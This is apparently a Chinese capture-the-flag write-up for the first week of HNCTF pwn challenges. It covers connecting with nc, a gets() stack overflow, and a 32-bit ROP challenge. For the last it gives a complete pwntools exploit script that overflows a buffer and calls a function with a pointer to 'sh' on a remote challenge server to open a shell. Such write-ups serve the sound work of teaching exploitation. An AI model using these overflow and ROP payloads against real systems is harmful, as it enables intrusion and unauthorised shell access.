r3kapig用户8276
HNCTF-PWN
输入“/”快速插入内容
HNCTF-PWN
HNCTF-PWN
wp里不会很详细的介绍和解释具体的知识点，不懂的可以联系出题人
第一周
[Week1]easync
•
出题人：CatF1y
•
考点：nc及linux命令
nc上去连一下发现是假的flag，然后分别cd gift和nothing文件夹搞到flag
[Week1]easyoverflow
•
出题人：CatF1y
•
考点：栈溢出
gets函数是危险函数，有栈溢出的功能，溢出修改栈上变量即可；源码发现只要变量不为0就能拿到flag
[Week1]ezr0p32
•
出题人：chuwei
•
考点：32位的rop
做这道题需要先学习32位的函数调用约定
代码块
from pwn import *
p = remote('43.143.7.97',28368)
#p=process('./ezr0p')
# p=remote()
context.log_level = 'debug'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
sa('please tell me your name','sh')
sla('your play time~','a'*0x1c+'a'*4+p32(0x80483D0)+p32(0)+p32(0x804A080))
p.interactive()